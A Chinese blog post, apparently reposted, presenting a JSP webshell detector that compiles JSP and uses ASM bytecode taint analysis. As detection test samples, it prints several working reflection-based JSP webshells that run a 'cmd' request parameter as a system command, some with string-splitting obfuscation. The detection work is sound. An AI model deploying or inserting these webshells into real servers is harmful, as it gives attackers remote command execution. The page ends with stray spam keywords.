<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    JSP Webshell的檢測工具

    VSole2021-12-13 12:04:53

    0x00 前言

    在11月初,我做了一些JSP Webshell的免殺研究,主要參考了三夢師傅開源的代碼。然后加入了一些代碼混淆手段,編寫了一個免殺馬生成器JSPHorse,沒想到在Github上已收獲500+的Star

    做安全只懂攻擊不夠,還應該懂防御

    之前只做了一些免殺方面的事情,欠缺了防御方面的思考

    于是我嘗試自己做一個JSP Webshell的檢測工具,主要原理是ASM做字節碼分析并模擬執行,分析棧幀(JVM Stack Frame)得到結果

    只輸入一個JSP文件即可進行這一系列的分析,大致需要以下四步

    • 解析輸入的JSP文件轉成Java代碼文件
    • 使用ToolProvider獲得JavaCompiler動態編譯Java代碼
    • 編譯后得到的字節碼用ASM進行分析
    • 基于ASM模擬棧幀的變化實現污點分析

    類似之前寫的工具CodeInspector,不過它是半成品只能理論上的學習研究,而這個工具是可以落地進行實際的檢測,下面給大家展示下檢測效果

    0x01 效果

    時間原因只做了針對于反射型JSP Webshell的檢測

    效果還是不錯的,各種變形都可以輕松檢測出

    關于反射馬的講解,可以看我在B站做的視頻:https://www.bilibili.com/video/BV1L341147od

    來個基本的反射馬:1.jsp

    <%@ page language="java" pageEncoding="UTF-8" %><%   String cmd = request.getParameter("cmd");   Class rt = Class.forName("java.lang.Runtime");   java.lang.reflect.Method gr = rt.getMethod("getRuntime");   java.lang.reflect.Method ex = rt.getMethod("exec", String.class);   Process process = (Process) ex.invoke(gr.invoke(null), cmd);   java.io.InputStream in = process.getInputStream();   out.print("
    ");   java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);   java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);   String s = null;   while ((s = stdInput.readLine()) != null) {       out.println(s);  }   out.print("
    ");%>
    

    查出是Webshell

    如果把字符串給拆出來:2.jsp

    <%@ page language="java" pageEncoding="UTF-8" %><%   String cmd = request.getParameter("cmd");   String name = "java.lang.Runtime";   Class rt = Class.forName(name);   String runtime = "getRuntime";   java.lang.reflect.Method gr = rt.getMethod(runtime);   java.lang.reflect.Method ex = rt.getMethod("exec", String.class);   Object obj = gr.invoke(null);   Process process = (Process) ex.invoke(obj, cmd);   java.io.InputStream in = process.getInputStream();   out.print("
    ");   java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);   java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);   String s = null;   while ((s = stdInput.readLine()) != null) {       out.println(s);  }   out.print("
    ");%>
    

    查出是Webshell

    進一步變化,拆開字符串:3.jsp

    <%@ page language="java" pageEncoding="UTF-8" %><%   String cmd = request.getParameter("cmd");   String name = "java.lang."+"Runtime";   Class rt = Class.forName(name);   String runtime = "getRu"+"ntime";   java.lang.reflect.Method gr = rt.getMethod(runtime);   String exec = "ex"+"ec";   java.lang.reflect.Method ex = rt.getMethod(exec, String.class);   Object obj = gr.invoke(null);   Process process = (Process) ex.invoke(obj, cmd);
       java.io.InputStream in = process.getInputStream();   out.print("
    ");   java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);   java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);   String s = null;   while ((s = stdInput.readLine()) != null) {       out.println(s);  }   out.print("
    ");%>
    

    或者合并成一行

     Process process = (Process) Class.forName("java.lang.Runtime")          .getMethod("exec", String.class)          .invoke(Class.forName("java.lang.Runtime")                          .getMethod("getRuntime").invoke(null), cmd);   java.io.InputStream in = process.getInputStream();
    

    都可以查出是Webshell

    如果是正常邏輯,和執行命令無關:4.jsp

    <%@ page language="java" pageEncoding="UTF-8" %><%   String cmd = request.getParameter("cmd");   Class rt = Class.forName("java.lang.String");   java.lang.reflect.Method gr = rt.getMethod("getBytes");   java.lang.reflect.Method ex = rt.getMethod("getBytes");   Process process = (Process) ex.invoke(gr.invoke(null), cmd);   java.io.InputStream in = process.getInputStream();   out.print("
    ");   java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);   java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);   String s = null;   while ((s = stdInput.readLine()) != null) {       out.println(s);  }   out.print("
    ");%>
    

    那么不會存在誤報

    0x03 JSP處理

    第一步我們需要把輸入的JSP轉為Java代碼,之所以這樣做因為JSP無法直接變成字節碼

    原理其實簡單:造一個模板類,把JSP<% xxx %>中的xxx填入模板

    模板如下,簡單取了三個JSP中常用的變量放入參數

    package org.sec;
    import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.PrintWriter;
    @SuppressWarnings("unchecked")public class Webshell {   public static void invoke(HttpServletRequest request,                             HttpServletResponse response,                             PrintWriter out) {       try {           __WEBSHELL__      } catch (Exception e) {           e.printStackTrace();      }  }}
    

    簡單做了一下解析,可能會存在BUG但在當前的情景下完全夠用

    byte[] jspBytes = Files.readAllBytes(path);String jspCode = new String(jspBytes);// 置空為了后續分割字符串jspCode = jspCode.replace("<%@", "");// 得到<% xxx %>的xxxString tempCode = jspCode.split("<%")[1];String finalJspCode = tempCode.split("%>")[0];// 從Resource里讀出模板InputStream inputStream = Main.class.getClassLoader().getResourceAsStream("Webshell.java");if (inputStream == null) {   logger.error("read template error");   return;}// 讀InputStreamStringBuilder resultBuilder = new StringBuilder();InputStreamReader ir = new InputStreamReader(inputStream);BufferedReader reader = new BufferedReader(ir);String lineTxt = null;while ((lineTxt = reader.readLine()) != null) {   resultBuilder.append(lineTxt).append("");}ir.close();reader.close();// 替換模板文件String templateCode = resultBuilder.toString();String finalCode = templateCode.replace("__WEBSHELL__", finalJspCode);// 使用了google-java-format庫做了下代碼格式化// 僅僅為了好看,沒有功能上的影響String formattedCode = new Formatter().formatSource(finalCode);// 寫入文件Files.write(Paths.get("Webshell.java"), formattedCode.getBytes(StandardCharsets.UTF_8));
    

    上面代碼有一處坑:想從打包后的JarResource里讀東西必須用getResourceAsStream,如果用URI的方式會報錯。另外這里用Main.class.getClassLoader()是為了讀到classes根目錄

    經過處理后JSP變成這樣的代碼,可以使用Javac命令手動編譯

    package org.sec;
    import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.PrintWriter;
    @SuppressWarnings("unchecked")public class Webshell { public static void invoke(     HttpServletRequest request, HttpServletResponse response, PrintWriter out) {   try {
         String cmd = request.getParameter("cmd");     Class rt = Class.forName("java.lang.Runtime");     java.lang.reflect.Method gr = rt.getMethod("getRuntime");     java.lang.reflect.Method ex = rt.getMethod("exec", String.class);     Process process = (Process) ex.invoke(gr.invoke(null), cmd);     java.io.InputStream in = process.getInputStream();     out.print("
    ");     java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);     java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);     String s = null;     while ((s = stdInput.readLine()) != null) {       out.println(s);    }     out.print("
    ");
      } catch (Exception e) {     e.printStackTrace();  }}}
    

    0x04 動態編譯

    手動編譯的時候其實有一個坑:系統不包含servlet相關的庫,所以會報錯

    這個好解決,只需要一個參數javac Webshell.java -cp javax.servlet-api.jar

    在網上查了下如何動態編譯,這個代碼還是比較多的

    但都沒有設置參數,我們情況特殊需要classpath參數,最終看官方文檔得到了答案

    JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();StandardJavaFileManager fileManager = compiler.getStandardFileManager(    null, null, null);Iterable compilationUnits = fileManager.getJavaFileObjects(    new File("Webshell.java"));// 加入參數List optionList = new ArrayList<>();optionList.add("-classpath");optionList.add("lib.jar");// 不需要打印多余的東西optionList.add("-nowarn");JavaCompiler.CompilationTask task = compiler.getTask(null, fileManager,                                                     null, optionList, null, compilationUnits);task.call();
    

    通過以上的代碼會得到一個Webshell.class的字節碼文件,這就是我們真正需要的東西

    這里同樣有一個坑:ToolProvider.getSystemJavaCompiler()這句話在java -jar xxx.jara的情況下是空指針,通過查詢解決辦法,發現需要在JDK/JRElib加入tools.jar并且將環境變量配到JDK/bin而不是JDK/JRE/binJRE/bin

    當我們動態編譯Webshell.javaWebshell.class后,讀取字節碼到內存中,就可以刪除這兩個臨時文件了

    byte[] classData = Files.readAllBytes(Paths.get("Webshell.class"));Files.delete(Paths.get("Webshell.class"));Files.delete(Paths.get("Webshell.java"));
    

    0x05 模擬棧幀

    JVM在每次方法調用均會創建一個對應的Frame,方法執行完畢或者異常終止,Frame被銷毀

    而每個Frame的結構如下,主要由本地變量數組(local variables)和操作棧(operand stack)組成

    局部變量表所需的容量大小是在編譯期確定下來的,表中的變量只在當前方法調用中有效

    JVM把操作數棧作為它的工作區——大多數指令都要從這里彈出數據,執行運算,然后把結果壓回操作數棧

    參考我在Github的代碼,該類構造了Operand StackLocal Variables Array并模擬操作

    在用ASM技術解析class文件的時候,模擬他們在JVM中執行的過程,實現數據流分析

    使用代碼模擬兩大數據結構

    public class OperandStack {    private final LinkedList> stack;    // pop push methods}public class LocalVariables {    private final ArrayList> array;    // set get method}
    

    在進入方法的時候,JVM會初始化這兩大數據結構

    • 清空已有的元素
    • 根據函數入參做初始化
    public void visitCode() {    super.visitCode();    localVariables.clear();    operandStack.clear();
        if ((this.access & Opcodes.ACC_STATIC) == 0) {        localVariables.add(new HashSet<>());    }    for (Type argType : Type.getArgumentTypes(desc)) {        for (int i = 0; i < argType.getSize(); i++) {            localVariables.add(new HashSet<>());        }    }}
    

    在方法執行的時候,對這兩種數據結構進行POP/PUSH等操作,隨便選了其中一部分供參考

    @Overridepublic void visitInsn(int opcode) {    Set saved0, saved1, saved2, saved3;    sanityCheck();    switch (opcode) {        case Opcodes.NOP:            break;        case Opcodes.ACONST_NULL:        case Opcodes.ICONST_M1:        case Opcodes.ICONST_0:        case Opcodes.ICONST_1:        case Opcodes.ICONST_2:        case Opcodes.ICONST_3:        case Opcodes.ICONST_4:        case Opcodes.ICONST_5:        case Opcodes.FCONST_0:        case Opcodes.FCONST_1:        case Opcodes.FCONST_2:            operandStack.push();            break;        case Opcodes.LCONST_0:        case Opcodes.LCONST_1:        case Opcodes.DCONST_0:        case Opcodes.DCONST_1:            operandStack.push();            operandStack.push();            break;        case Opcodes.IALOAD:        case Opcodes.FALOAD:        case Opcodes.AALOAD:        case Opcodes.BALOAD:        case Opcodes.CALOAD:        case Opcodes.SALOAD:            operandStack.pop();            operandStack.pop();            operandStack.push();        ......    }}
    

    為什么能夠這樣操作,參考Oracle的JVM指令文檔:官方文檔

    上文其實略枯燥,接下來結合實例和大家畫圖分析,這將會一目了然

    0x06 檢測實現

    新建一個ClassVisitor用于分析字節碼,以下這三部是ASM規定的分析字節碼方式

    ClassReader cr = new ClassReader(classData);ReflectionShellClassVisitor cv = new ReflectionShellClassVisitor();cr.accept(cv, ClassReader.EXPAND_FRAMES);
    

    大家需要注意ASM是觀察者模式,需要理解阻斷傳遞的思想

    其實ReflectionShellClassVisitor不是重點,因為我們的JSP Webshell邏輯都寫在Webshell.invoke方法中,所以檢測邏輯在ReflectionShellMethodAdapter類中

    // 繼承自ClassVisitorpublic class ReflectionShellClassVisitor extends ClassVisitor {    private String name;    private String signature;    private String superName;    private String[] interfaces;
        public ReflectionShellClassVisitor() {        // 基于JDK8做解析        super(Opcodes.ASM8);    }
        @Override    public void visit(int version, int access, String name, String signature,                      String superName, String[] interfaces) {        super.visit(version, access, name, signature, superName, interfaces);        // 當前類目描述符父類名等信息有可能用到        this.name = name;        this.signature = signature;        this.superName = superName;        this.interfaces = interfaces;    }
        @Override    public MethodVisitor visitMethod(int access, String name, String descriptor,                                     String signature, String[] exceptions) {        MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);        // 不用關注構造方法只分析invoke方法即可        if (name.equals("invoke")) {            // 稍后分析該類            ReflectionShellMethodAdapter reflectionShellMethodAdapter = new ReflectionShellMethodAdapter(                    Opcodes.ASM8,                    mv, this.name, access, name, descriptor, signature, exceptions,                    analysisData            );            // 出于兼容性的考慮向后傳遞            return new JSRInlinerAdapter(reflectionShellMethodAdapter,                    access, name, descriptor, signature, exceptions);        }        return mv;    }}
    

    重點放在ReflectionShellMethodAdapter

    首先我們要確認可控參數,也就是污點分析里的Source,不難得出來自于request.getParameter

    這一步的字節碼如下

        ALOAD 0    LDC "cmd"    INVOKEINTERFACE javax/servlet/http/HttpServletRequest.getParameter (Ljava/lang/String;)Ljava/lang/String; (itf)    ASTORE 3
    

    這四步過程如下:

    • 調用方法非STATIC所以需要壓棧一個this對象
    • 方法執行時彈出參數,方法執行后棧頂是返回值保存至局部變量表

    我們可以在INVOKEINTERFACE的時候編寫如下代碼

    @Overridepublic void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {    if (opcode == Opcodes.INVOKEINTERFACE) {        // 是否符合request.getParameter()調用        boolean getParam = name.equals("getParameter") &&            owner.equals("javax/servlet/http/HttpServletRequest") &&            desc.equals("(Ljava/lang/String;)Ljava/lang/String;");        if (getParam) {            // 注意一定先讓父類模擬彈棧調用操作,模擬完棧頂是返回值            super.visitMethodInsn(opcode, owner, name, desc, itf);            logger.info("find source: request.getParameter");            // 給這個棧頂設置個flag:get-param以便于后續跟蹤            operandStack.get(0).add("get-param");            return;        }    }}
    

    接下來看反射的第一句Class.forName("java.lang.Runtime")

        LDC "java.lang.Runtime"    INVOKESTATIC java/lang/Class.forName (Ljava/lang/String;)Ljava/lang/Class;    ASTORE 4
    

    由于調用STATIC方法不需要this然后返回值保存在局部變量表第5位

    這里我給反射三步的LDC分別給上自己的flag做跟蹤

    注意到LDC命令執行完后保存至棧頂

    @Overridepublic void visitLdcInsn(Object cst) {    if(cst.equals("java.lang.Runtime")){        super.visitLdcInsn(cst);        operandStack.get(0).add("ldc-runtime");        return;    }    if(cst.equals("getRuntime")){        super.visitLdcInsn(cst);        operandStack.get(0).add("ldc-get-runtime");        return;    }    if(cst.equals("exec")){        super.visitLdcInsn(cst);        operandStack.get(0).add("ldc-exec");        return;    }    super.visitLdcInsn(cst);}
    

    下一句rt.getMethod("getRuntime")稍微復雜

        ALOAD 4    LDC "getRuntime"    ICONST_0    ANEWARRAY java/lang/Class    INVOKEVIRTUAL java/lang/Class.getMethod (Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;    ASTORE 5
    

    中間主要是多了一步ANEWARRAY操作

    這個染成黃色的過程在代碼中如下

    @Overridepublic void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {    if(opcode==Opcodes.INVOKEVIRTUAL){        boolean getMethod = name.equals("getMethod") &&            owner.equals("java/lang/Class") &&            desc.equals("(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;");        if(getMethod){            if(operandStack.get(1).contains("ldc-get-runtime")){                super.visitMethodInsn(opcode, owner, name, desc, itf);                logger.info("-> get getRuntime method");                operandStack.get(0).add("method-get-runtime");                return;            }        }    }
    

    下一步是rt.getMethod("exec", String.class)和上面幾乎一致,不過數組里添加了元素

       ALOAD 4    LDC "exec"    ICONST_1    ANEWARRAY java/lang/Class    DUP    ICONST_0    LDC Ljava/lang/String;.class    AASTORE    INVOKEVIRTUAL java/lang/Class.getMethod (Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;    ASTORE 6
    

    這一步幾乎重復,就不再畫圖了,可以看出最后保存到局部變量表第7位

    其中陌生的命令有DUPAASTORE兩個,暫不分析,我們在method.invoke中細說

    代碼中的處理類似

    @Overridepublic void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {    if(opcode==Opcodes.INVOKEVIRTUAL){        boolean getMethod = name.equals("getMethod") &&            owner.equals("java/lang/Class") &&            desc.equals("(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;");        if(getMethod){            if(operandStack.get(1).contains("ldc-exec")){                super.visitMethodInsn(opcode, owner, name, desc, itf);                logger.info("-> get exec method");                operandStack.get(0).add("method-exec");                return;            }        }    }
    

    接下來該最關鍵的一行了:ex.invoke(gr.invoke(null), cmd)

      ALOAD 6    ALOAD 5    ACONST_NULL    ICONST_0    ANEWARRAY java/lang/Object    INVOKEVIRTUAL java/lang/reflect/Method.invoke (Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;    ICONST_1    ANEWARRAY java/lang/Object    DUP    ICONST_0    ALOAD 3    AASTORE    INVOKEVIRTUAL java/lang/reflect/Method.invoke (Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
    

    第一步的INVOKEVIRTUAL只是得到了Runtime對象

    第二步的INVOKEVIRTUAL才是exec(obj,cmd)執行命令的代碼

    所以我們重點從第二步分析

        ICONST_1    ANEWARRAY java/lang/Object    DUP    ICONST_0    ALOAD 3    AASTORE    INVOKEVIRTUAL java/lang/reflect/Method.invoke (Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
    

    AASTORE之前的過程如下(防止干擾棧中存在的其他元素沒有畫出)

    • 之所以要DUP正是因為AASTORE需要消耗一個數組引用
    • 這里的ICONST_1代表初始化數組長度為1

    AASTOREINVOKE的過程如下(之前在棧中沒有畫出的元素都補充到)

    注意其中的細節

    • 消耗一個數組做操作實際上另一個數組引用對象也改變了,換句話說加入了cmd參數

    所以我們需要手動處理下AASTORE情況以便于讓參數傳遞下去

        @Override    public void visitInsn(int opcode) {        if(opcode==Opcodes.AASTORE){            if(operandStack.get(0).contains("get-param")){                logger.info("store request param into array");                super.visitInsn(opcode);                // AASTORE模擬操作之后棧頂是數組引用                operandStack.get(0).clear();                // 由于數組中包含了可控變量所以設置flag                operandStack.get(0).add("get-param");                return;            }        }        super.visitInsn(opcode);    }
    

    至于最后一步的判斷就很簡單了

    @Overridepublic void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {    if(opcode==Opcodes.INVOKEVIRTUAL){        boolean invoke = name.equals("invoke") &&            owner.equals("java/lang/reflect/Method") &&            desc.equals("(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;");        if(invoke){            // AASTORE中設置的參數            if(operandStack.get(0).contains("get-param")){                // 如果棧中第3個元素是exec的Method                if(operandStack.get(2).contains("method-exec")){                    // 認為造成了RCE                    logger.info("find reflection webshell!");                    super.visitMethodInsn(opcode, owner, name, desc, itf);                    return;                }                super.visitMethodInsn(opcode, owner, name, desc, itf);                logger.info("-> method exec invoked");            }        }    }    super.visitMethodInsn(opcode, owner, name, desc, itf);}
    

    其實棧中第2個元素也可以判斷下,我簡化了一些不必要的操作

    0x07 總結

    代碼在:https://github.com/EmYiQing/JSPKiller

    后續考慮加入其他的一些檢測,師傅們可以試試Bypass手段哈哈

    webshellruntime
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    0x01 前言碰到了一個對外宣傳是否安全的站點,但實際測試下來并不安全。不過在這次獲取權限的過程中還是有點曲折,記錄下來并分享給大家。整個測試過程均在授權的情況下完成,漏洞詳細已經提交并通告相關知情。嘗試訪問后發現不能被解析只能下載。
    webshell不能執行命令常見問題總結
    WebShell基礎詳解
    2022-01-07 06:47:08
    顧名思義,“web”的含義是顯然需要服務器開放web服務,“shell”的含義是取得對服務器某種程度上操作權限。webshell常常被稱為入侵者通過網站端口對網站服務器的某種程度上操作的權限。由于webshell其大多是以動態腳本的形式出現,也有人稱之為網站的后門工具。
    顧名思義,“web”的含義是顯然需要服務器開放web服務,“shell”的含義是取得對服務器某種程度上操作權限。webshell常常被稱為入侵者通過網站端口對網站服務器的某種程度上操作的權限。由于webshell其大多是以動態腳本的形式出現,也有人稱之為網站的后門工具。
    能夠及時處置工業信息安全事件,減少工業信息安全事件對業務系統影響。
    0x00 前言常見webshell管理工具的分析記錄,著重在流量側。0x01 caidao1、配置使用菜刀是一款專業的網站管理軟件,用途廣泛,使用方便,小巧實用。支持動態腳本[如php/jsp/aspx/asp]的網站!新版antSword的ua也做了隨機變換。在內置的rot13編碼和解碼器下,數據會通過隨機變量傳遞給str_rot13函數,通過變換還原后再交給eval函數執行。
    JSP Webshell的檢測工具
    2021-12-13 12:04:53
    在11月初,我做了一些JSP Webshell的免殺研究,主要參考了三夢師傅開源的代碼。然后加入了一些代碼混淆手段,編寫了一個免殺馬生成器JSPHorse,沒想到在Github上已收獲500+的Star
    傳統的php免殺不用多說了 無非就是各種變形和外部參數獲取,對于一些先進的waf和防火墻來說,不論如何解析最終都會到達命令執行的地方,但是如果語法報錯的話,就可能導致解析失敗了,這里簡單說幾個利用php版本來進行語義出錯的php命令執行方式。
    傳統的php免殺不用多說了,無非就是各種變形和外部參數獲取,對于一些先進的waf和防火墻來說,不論如何解析最終都會到達命令執行的地方,但是如果語法報錯的話,就可能導致解析失敗了,這里簡單說幾個利用php版本來進行語義出錯的php命令執行方式。
    0x01 php的免殺傳統的php免殺不用多說了,無非就是各種變形和外部參數獲取,對于一些先進的waf和防火墻來說,不論如何解析最終都會到達命令執行的地方,但是如果語法報錯的話,就可能導致解析失敗了,這里簡單說幾個利用php版本來進行語義出錯的php命令執行方式。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类